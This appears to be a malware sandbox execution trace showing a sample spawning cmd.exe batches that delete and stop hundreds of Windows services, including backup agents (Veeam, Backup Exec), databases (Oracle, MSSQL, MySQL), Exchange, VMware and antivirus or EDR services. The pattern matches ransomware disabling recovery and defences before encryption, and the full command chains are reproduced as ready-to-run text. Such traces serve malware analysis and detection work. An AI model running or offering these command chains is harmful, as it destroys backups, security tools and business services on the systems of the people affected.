C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "DAService_TCP" & @sc delete "eCard-TTransServer" & @sc delete eCardMPService & @sc delete EnergyDataService & @sc delete UI0Detect & @sc delete K3MobileService & @sc delete TCPIDDAService & @sc delete WebAttendServer & @sc delete UIODetect & @sc delete "wanxiao-monitor" & @sc delete VMAuthdService & @sc delete VMUSBArbService & @sc delete VMwareHostd & @sc delete "vm-agent" & @sc delete VmAgentDaemon & @sc delete OpenSSHd & @sc delete eSightService & @sc delete apachezt & @sc delete Jenkins & @sc delete secbizsrv & @sc delete SQLTELEMETRY & @sc delete MSMQ & @sc delete smtpsvrJT & @sc delete zyb_sync & @sc delete 360EntHttpServer & @sc delete 360EntSvc & @sc delete 360EntClientSvc & @sc delete NFWebServer & @sc delete wampapache & @sc delete MSSEARCH & @sc delete msftesql & @sc delete "SyncBASE Service" & @sc delete OracleDBConcoleorcl & @sc delete OracleJobSchedulerORCL & @sc delete OracleMTSRecoveryService"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc delete "DAService_TCP"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "eCard-TTransServer"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete eCardMPService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete EnergyDataService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete UI0Detect5⤵
-
C:\Windows\SysWOW64\sc.exesc delete K3MobileService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TCPIDDAService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete WebAttendServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete UIODetect5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "wanxiao-monitor"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMAuthdService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMUSBArbService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VMwareHostd5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "vm-agent"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VmAgentDaemon5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OpenSSHd5⤵
-
C:\Windows\SysWOW64\sc.exesc delete eSightService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete apachezt5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Jenkins5⤵
-
C:\Windows\SysWOW64\sc.exesc delete secbizsrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLTELEMETRY5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSMQ5⤵
-
C:\Windows\SysWOW64\sc.exesc delete smtpsvrJT5⤵
-
C:\Windows\SysWOW64\sc.exesc delete zyb_sync5⤵
-
C:\Windows\SysWOW64\sc.exesc delete 360EntHttpServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete 360EntSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete 360EntClientSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete NFWebServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete wampapache5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSSEARCH5⤵
-
C:\Windows\SysWOW64\sc.exesc delete msftesql5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "SyncBASE Service"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleDBConcoleorcl5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleMTSRecoveryService5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete OracleOraDb11g_home1ClrAgent & @sc delete OracleOraDb11g_home1TNSListener & @sc delete OracleVssWriterORCL & @sc delete OracleServiceORCL & @sc delete aspnet_state @sc delete Redis & @sc delete OracleVssWriterORCL & @sc delete JhTask & @sc delete ImeDictUpdateService & @sc delete XT800Service_Personal & @sc delete MCService & @sc delete ImeDictUpdateService & @sc delete allpass_redisservice_port21160 & @sc delete "Flash Helper Service" & @sc delete "Kiwi Syslog Server" & @sc delete "UWS HiPriv Services""4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1ClrAgent5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleOraDb11g_home1TNSListener5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleServiceORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete aspnet_state @sc delete Redis5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleVssWriterORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete JhTask5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete XT800Service_Personal5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MCService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ImeDictUpdateService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete allpass_redisservice_port211605⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Flash Helper Service"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Kiwi Syslog Server"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UWS HiPriv Services"5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color b & @sc delete "UWS LoPriv Services" & @sc delete ftnlsv3 & @sc delete ftnlses3 & @sc delete FxService & @sc delete "UtilDev Web Server Pro" & @sc delete ftusbrdwks & @sc delete ftusbrdsrv & @sc delete "ZTE USBIP Client Guard" & @sc delete "ZTE USBIP Client" & @sc delete "ZTE FileTranS" & @sc delete wwbizsrv & @sc delete qemu-ga & @sc delete AlibabaProtect & @sc delete ZTEVdservice & @sc delete kbasesrv & @sc delete MMRHookService & @sc delete OracleJobSchedulerORCL & @sc delete IpOverUsbSvc & @sc delete MsDtsServer100 & @sc delete KuaiYunTools & @sc delete KMSELDI & @sc delete btPanel & @sc delete Protect_2345Explorer & @sc delete 2345PicSvc & @sc delete vmware-converter-agent & @sc delete vmware-converter-server & @sc delete vmware-converter-worker & @sc delete QQCertificateService & @sc delete OracleRemExecService & @sc delete GPSDaemon & @sc delete GPSUserSvr & @sc delete GPSDownSvr & @sc delete GPSStorageSvr & @sc delete GPSDataProcSvr & @sc delete GPSGatewaySvr & @sc delete GPSMediaSvr & @sc delete GPSLoginSvr & @sc delete GPSTomcat6 & @sc delete GPSMysqld & @sc delete GPSFtpd & @sc delete "Zabbix Agent" & @sc delete BackupExecAgentAccelerator & @sc delete bedbg & @sc delete BackupExecDeviceMediaService & @sc delete BackupExecRPCService & @sc delete BackupExecAgentBrowser & @sc delete BackupExecJobEngine & @sc delete BackupExecManagementService & @sc delete MDM & @sc delete TxQBService & @sc delete Gailun_Downloader & @sc delete RemoteAssistService & @sc delete YunService & @sc delete Serv-U & @sc delete "EasyFZS Server" & @sc delete "Rpc Monitor" & @sc delete OpenFastAssist & @sc delete "Nuo Update Monitor" & @sc delete "Daemon Service" & @sc delete asComSvc & @sc delete OfficeUpdateService & @sc delete RtcSrv & @sc delete RTCASMCU & @sc delete FTA & @sc delete MASTER & @sc delete NscAuthService & @sc delete MSCRMUnzipService & @sc delete MSCRMAsyncService$maintenance"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc delete "UWS LoPriv Services"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftnlsv35⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftnlses35⤵
-
C:\Windows\SysWOW64\sc.exesc delete FxService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "UtilDev Web Server Pro"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdwks5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ftusbrdsrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client Guard"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE USBIP Client"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "ZTE FileTranS"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete wwbizsrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete qemu-ga5⤵
-
C:\Windows\SysWOW64\sc.exesc delete AlibabaProtect5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ZTEVdservice5⤵
-
C:\Windows\SysWOW64\sc.exesc delete kbasesrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MMRHookService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleJobSchedulerORCL5⤵
-
C:\Windows\SysWOW64\sc.exesc delete IpOverUsbSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MsDtsServer1005⤵
-
C:\Windows\SysWOW64\sc.exesc delete KuaiYunTools5⤵
-
C:\Windows\SysWOW64\sc.exesc delete KMSELDI5⤵
-
C:\Windows\SysWOW64\sc.exesc delete btPanel5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Protect_2345Explorer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete 2345PicSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-agent5⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-server5⤵
-
C:\Windows\SysWOW64\sc.exesc delete vmware-converter-worker5⤵
-
C:\Windows\SysWOW64\sc.exesc delete QQCertificateService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OracleRemExecService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDaemon5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSUserSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDownSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSStorageSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSDataProcSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSGatewaySvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSMediaSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSLoginSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSTomcat65⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSMysqld5⤵
-
C:\Windows\SysWOW64\sc.exesc delete GPSFtpd5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Zabbix Agent"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentAccelerator5⤵
-
C:\Windows\SysWOW64\sc.exesc delete bedbg5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecDeviceMediaService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecRPCService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecAgentBrowser5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecJobEngine5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BackupExecManagementService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MDM5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TxQBService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Gailun_Downloader5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RemoteAssistService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete YunService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Serv-U5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "EasyFZS Server"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Rpc Monitor"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OpenFastAssist5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Nuo Update Monitor"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "Daemon Service"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete asComSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OfficeUpdateService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RtcSrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCASMCU5⤵
-
C:\Windows\SysWOW64\sc.exesc delete FTA5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MASTER5⤵
-
C:\Windows\SysWOW64\sc.exesc delete NscAuthService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMUnzipService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService$maintenance5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "@color b & sc delete MSCRMAsyncService & @sc delete REPLICA & @sc delete RTCATS & @sc delete RTCAVMCU & @sc delete RtcQms & @sc delete RTCMEETINGMCU & @sc delete RTCIMMCU & @sc delete RTCDATAMCU & @sc delete RTCCDR & @sc delete ProjectEventService16 & @sc delete ProjectQueueService16 & @sc delete SPAdminV4 & @sc delete SPSearchHostController & @sc delete SPTimerV4 & @sc delete SPTraceV4 & @sc delete OSearch16 & @sc delete ProjectCalcService16 & @sc delete c2wts & @sc delete AppFabricCachingService & @sc delete ADWS & @sc delete MotionBoard57 & @sc delete MotionBoardRCService57 & @sc delete vsvnjobsvc & @sc delete VisualSVNServer & @sc delete "FlexNet Licensing Service 64" & @sc delete BestSyncSvc & @sc delete LPManager & @sc delete MediatekRegistryWriter & @sc delete RaAutoInstSrv_RT2870 & @sc delete CobianBackup10 & @sc delete SQLANYs_sem5 & @sc delete CASLicenceServer & @sc delete SQLService & @sc delete semwebsrv & @sc delete TbossSystem & @sc delete ErpEnvSvc & @sc delete Mysoft.Autoupgrade.DispatchService & @sc delete Mysoft.Autoupgrade.UpdateService & @sc delete Mysoft.Config.WindowsService & @sc delete Mysoft.DataCenterService & @sc delete Mysoft.SchedulingService & @sc delete Mysoft.Setup.InstallService & @sc delete MysoftUpdate & @sc delete edr_monitor & @sc delete abs_deployer & @sc delete savsvc & @sc delete ShareBoxMonitorService & @sc delete ShareBoxService & @sc delete CloudExchangeService & @sc delete "U8WorkerService2" & @sc delete CIS & @sc delete EASService & @sc delete KICkSvr & @sc delete "OSP Service" & @sc delete U8SmsSrv & @sc delete OfficeClearCache & @sc delete TurboCRM70 & @sc delete U8DispatchService & @sc delete U8EISService & @sc delete U8EncryptService & @sc delete U8GCService & @sc delete U8KeyManagePool & @sc delete "U8MPool" & @sc delete U8SCMPool & @sc delete U8SLReportService & @sc delete U8TaskService & @sc delete "U8WebPool" & @sc delete UFAllNet & @sc delete UFReportService & @sc delete UTUService & @sc delete "U8WorkerService1""4⤵
-
C:\Windows\SysWOW64\sc.exesc delete MSCRMAsyncService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete REPLICA5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCATS5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCAVMCU5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RtcQms5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCMEETINGMCU5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCIMMCU5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCDATAMCU5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RTCCDR5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectEventService165⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectQueueService165⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPAdminV45⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPSearchHostController5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPTimerV45⤵
-
C:\Windows\SysWOW64\sc.exesc delete SPTraceV45⤵
-
C:\Windows\SysWOW64\sc.exesc delete OSearch165⤵
-
C:\Windows\SysWOW64\sc.exesc delete ProjectCalcService165⤵
-
C:\Windows\SysWOW64\sc.exesc delete c2wts5⤵
-
C:\Windows\SysWOW64\sc.exesc delete AppFabricCachingService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ADWS5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoard575⤵
-
C:\Windows\SysWOW64\sc.exesc delete MotionBoardRCService575⤵
-
C:\Windows\SysWOW64\sc.exesc delete vsvnjobsvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete VisualSVNServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "FlexNet Licensing Service 64"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete BestSyncSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete LPManager5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MediatekRegistryWriter5⤵
-
C:\Windows\SysWOW64\sc.exesc delete RaAutoInstSrv_RT28705⤵
-
C:\Windows\SysWOW64\sc.exesc delete CobianBackup105⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLANYs_sem55⤵
-
C:\Windows\SysWOW64\sc.exesc delete CASLicenceServer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete SQLService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete semwebsrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TbossSystem5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ErpEnvSvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.DispatchService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Autoupgrade.UpdateService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Config.WindowsService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.DataCenterService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.SchedulingService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete Mysoft.Setup.InstallService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete MysoftUpdate5⤵
-
C:\Windows\SysWOW64\sc.exesc delete edr_monitor5⤵
-
C:\Windows\SysWOW64\sc.exesc delete abs_deployer5⤵
-
C:\Windows\SysWOW64\sc.exesc delete savsvc5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxMonitorService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete ShareBoxService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete CloudExchangeService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "U8WorkerService2"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete CIS5⤵
-
C:\Windows\SysWOW64\sc.exesc delete EASService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete KICkSvr5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "OSP Service"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8SmsSrv5⤵
-
C:\Windows\SysWOW64\sc.exesc delete OfficeClearCache5⤵
-
C:\Windows\SysWOW64\sc.exesc delete TurboCRM705⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8DispatchService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8EISService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8EncryptService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8GCService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8KeyManagePool5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "U8MPool"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8SCMPool5⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8SLReportService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete U8TaskService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "U8WebPool"5⤵
-
C:\Windows\SysWOW64\sc.exesc delete UFAllNet5⤵
-
C:\Windows\SysWOW64\sc.exesc delete UFReportService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete UTUService5⤵
-
C:\Windows\SysWOW64\sc.exesc delete "U8WorkerService1"5⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop U8WorkerService1 & @net stop U8WorkerService2 & @net stop "memcached Server" & @net stop Apache2.4 & @net stop UFIDAWebService & @net stop MSComplianceAudit & @net stop MSExchangeADTopology & @net stop MSExchangeAntispamUpdate & @net stop MSExchangeCompliance & @net stop MSExchangeDagMgmt & @net stop MSExchangeDelivery & @net stop MSExchangeDiagnostics & @net stop MSExchangeEdgeSync & @net stop MSExchangeFastSearch & @net stop MSExchangeFrontEndTransport & @net stop MSExchangeHM & @net stop MSSQL$SQL2008 & @net stop MSExchangeHMRecovery & @net stop MSExchangeImap4 & @net stop MSExchangeIMAP4BE & @net stop MSExchangeIS & @net stop MSExchangeMailboxAssistants & @net stop MSExchangeMailboxReplication & @net stop MSExchangeNotificationsBroker & @net stop MSExchangePop3 & @net stop MSExchangePOP3BE & @net stop MSExchangeRepl & @net stop MSExchangeRPC & @net stop MSExchangeServiceHost & @net stop MSExchangeSubmission & @net stop MSExchangeThrottling & @net stop MSExchangeTransport & @net stop MSExchangeTransportLogSearch & @net stop MSExchangeUM & @net stop MSExchangeUMCR & @net stop MySQL5_OA"4⤵
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService15⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService16⤵
-
C:\Windows\SysWOW64\net.exenet stop U8WorkerService25⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop U8WorkerService26⤵
-
C:\Windows\SysWOW64\net.exenet stop "memcached Server"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "memcached Server"6⤵
-
C:\Windows\SysWOW64\net.exenet stop Apache2.45⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Apache2.46⤵
-
C:\Windows\SysWOW64\net.exenet stop UFIDAWebService5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UFIDAWebService6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSComplianceAudit5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSComplianceAudit6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeADTopology5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeADTopology6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeAntispamUpdate5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeAntispamUpdate6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeCompliance5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeCompliance6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDagMgmt5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDagMgmt6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDelivery5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDelivery6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeDiagnostics5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeDiagnostics6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeEdgeSync5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeEdgeSync6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFastSearch5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFastSearch6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeFrontEndTransport5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeFrontEndTransport6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHM5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHM6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSSQL$SQL20085⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSSQL$SQL20086⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeHMRecovery5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeHMRecovery6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeImap45⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeImap46⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIMAP4BE5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIMAP4BE6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeIS5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeIS6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxAssistants5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxAssistants6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeMailboxReplication5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeMailboxReplication6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeNotificationsBroker5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeNotificationsBroker6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangePop35⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangePop36⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangePOP3BE5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangePOP3BE6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeRepl5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeRepl6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeRPC5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeRPC6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeServiceHost5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeServiceHost6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeSubmission5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeSubmission6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeThrottling5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeThrottling6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeTransport5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeTransport6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeTransportLogSearch5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeTransportLogSearch6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeUM5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeUM6⤵
-
C:\Windows\SysWOW64\net.exenet stop MSExchangeUMCR5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MSExchangeUMCR6⤵
-
C:\Windows\SysWOW64\net.exenet stop MySQL5_OA5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MySQL5_OA6⤵
-
C:\Windows\SysWOW64\cmd.execmd /c "color a & @net stop HaoZipSvc & @net stop "igfxCUIService2.0.0.0" & @net stop Realtek11nSU & @net stop xenlite & @net stop XenSvc & @net stop Apache2.2 & @net stop "Synology Drive VSS Service x64" & @net stop DellDRLogSvc & @net stop FirebirdGuardianDeafaultInstance & @net stop JWEM3DBAUTORun & @net stop JWRinfoClientService & @net stop JWService & @net stop Service2 & @net stop RapidRecoveryAgent & @net stop FirebirdServerDefaultInstance & @net stop AdobeARMservice & @net stop VeeamCatalogSvc & @net stop VeeanBackupSvc & @net stop VeeamTransportSvc & @net stop TPlusStdAppService1300 & @net stop TPlusStdTaskService1300 & @net stop TPlusStdUpgradeService1300 & @net stop TPlusStdWebService1300 & @net stop VeeamNFSSvc & @net stop VeeamDeploySvc & @net stop VeeamCloudSvc & @net stop VeeamMountSvc & @net stop VeeamBrokerSvc & @net stop VeeamDistributionSvc & @net stop tmlisten & @net stop ServiceMid & @net stop 360EntPGSvc & @net stop ClickToRunSvc & @net stop RavTask & @net stop AngelOfDeath & @net stop d_safe & @net stop NFLicenceServer & @net stop "NetVault Process Manager" & @net stop RavService & @net stop DFServ & @net stop IngressMgr & @net stop EvtSys & @net stop K3ClouManager & @net stop NFVPrintServer & @net stop RTCAVMCU & @net stop CobianBackup10 & @net stop GNWebService & @net stop Mysoft.SchedulingService & @net stop AgentX & @net stop SentinelKeysServer & @net stop DGPNPSEV & @net stop TurboCRM70 & @net stop NFSysService & @net stop U8DispatchService & @net stop NFOTPService & @net stop U8EISService & @net stop U8EncryptService & @net stop U8GCService & @net stop U8KeyManagePool & @net stop U8MPool & @net stop U8SCMPool & @net stop U8SLReportService & @net stop U8TaskService & @net stop U8WebPool & @net stop UFAllNet & @net stop UFReportService & @net stop UTUService"4⤵
-
C:\Windows\SysWOW64\net.exenet stop HaoZipSvc5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop HaoZipSvc6⤵
-
C:\Windows\SysWOW64\net.exenet stop "igfxCUIService2.0.0.0"5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "igfxCUIService2.0.0.0"6⤵
-
C:\Windows\SysWOW64\net.exenet stop Realtek11nSU5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Realtek11nSU6⤵
-
C:\Windows\SysWOW64\net.exenet stop xenlite5⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop xenlite6⤵
-
